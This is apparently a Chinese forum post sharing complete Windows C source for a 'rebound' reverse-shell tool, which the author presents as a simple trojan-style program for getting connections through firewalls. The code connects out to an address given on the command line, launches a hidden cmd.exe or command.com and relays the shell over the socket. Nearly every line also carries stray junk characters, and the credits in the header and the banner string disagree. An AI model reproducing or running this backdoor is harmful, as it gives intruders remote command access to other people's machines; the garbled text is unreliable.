这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 slSQ \;CDA
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/* ============================== 8ut:cCrmg
Rebound port in Windows NT b?&=gm%oU
By wind,2006/7 zPwU'TbF
===============================*/ ['F,
#include G/tah@N[7
#include q3.L6M
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#pragma comment(lib,"wsock32.lib") -!]Ie4"
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void OutputShell(); 9:tvkl
SOCKET sClient; W?W vT`
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BaSNr6
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void main(int argc,char **argv) [E_+fT
{ N_jCx*.G
WSADATA stWsaData; r Ntc{{3_
int nRet; {bF95Hs-
SOCKADDR_IN stSaiClient,stSaiServer; .;gK*`G2W)
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if(argc != 3) d\nBc6
{ D}Jhg`9
printf("Useage:\n\rRebound DestIP DestPort\n"); IbRy~
return; %\=oy=f
} .HTX7mA3
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WSAStartup(MAKEWORD(2,2),&stWsaData); Rg*zUfu5%o
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C#]%
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stSaiClient.sin_family = AF_INET; *,9.Bx*
stSaiClient.sin_port = htons(0); 2i);2>HLG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); phIEz3Fu/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $mA+4ISK
{ B7Um G)C
printf("Bind Socket Failed!\n"); h-VpX6
return; q9n0bw^N
} 51oZw%os=
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stSaiServer.sin_family = AF_INET; Ed/@&52z0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C7=Q!UK`\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,j~R ^j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x/$s:[0B#
{ WWF#&)ti
printf("Connect Error!"); T W?O
return; rN|c0N
} SU, t,i
OutputShell(); 7pNTCZY|
} ?i4}[q
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void OutputShell() +4emkDTdR
{ U4#[>*
char szBuff[1024]; mY9u/;dK
SECURITY_ATTRIBUTES stSecurityAttributes; YWA:741
OSVERSIONINFO stOsversionInfo; NEQcEUd?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b~ ?TDm7
STARTUPINFO stStartupInfo; fM]McZ9)D
char *szShell; 2aUz.k8o
PROCESS_INFORMATION stProcessInformation; xh>/bU!>
unsigned long lBytesRead; H[ %Fo
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hk-)fl#dr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _t:cDXj
stSecurityAttributes.lpSecurityDescriptor = 0; o"^}2^)_SR
stSecurityAttributes.bInheritHandle = TRUE; qQR>z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 78tWzO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `4s5yNUi=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =K2Dxu_:
stStartupInfo.wShowWindow = SW_HIDE; uPe4Rr
stStartupInfo.hStdInput = hReadPipe; lh*m(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GK}?*Lfs
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GetVersionEx(&stOsversionInfo); {xt<`_R
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switch(stOsversionInfo.dwPlatformId) ]
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{ ?Gl'-tV
case 1: I=hgfo
szShell = "command.com"; c< gM
break; ;?;D(%L
default: mM~!68lR
szShell = "cmd.exe"; G*BM'^0+
break; 1G|Q~%cv
} XzQ=8r>l
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8aGZ% UI
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send(sClient,szMsg,77,0); l1c&a[M)
while(1) ,$3
{ u*Oz1~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c%)uG _
if(lBytesRead) '2]u{rr~+
{ {mL/)\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OR a!84L
send(sClient,szBuff,lBytesRead,0); &F\J%#{
} 9G_=)8sOV
else `.%;|"xR
{ d8M"vd
lBytesRead=recv(sClient,szBuff,1024,0); ^g[\.Q
if(lBytesRead<=0) break; nx=#QLi
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "<6pp4*I
} [RD ^@~x
} !gy'_Y
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return; <Xy8}Z`s
}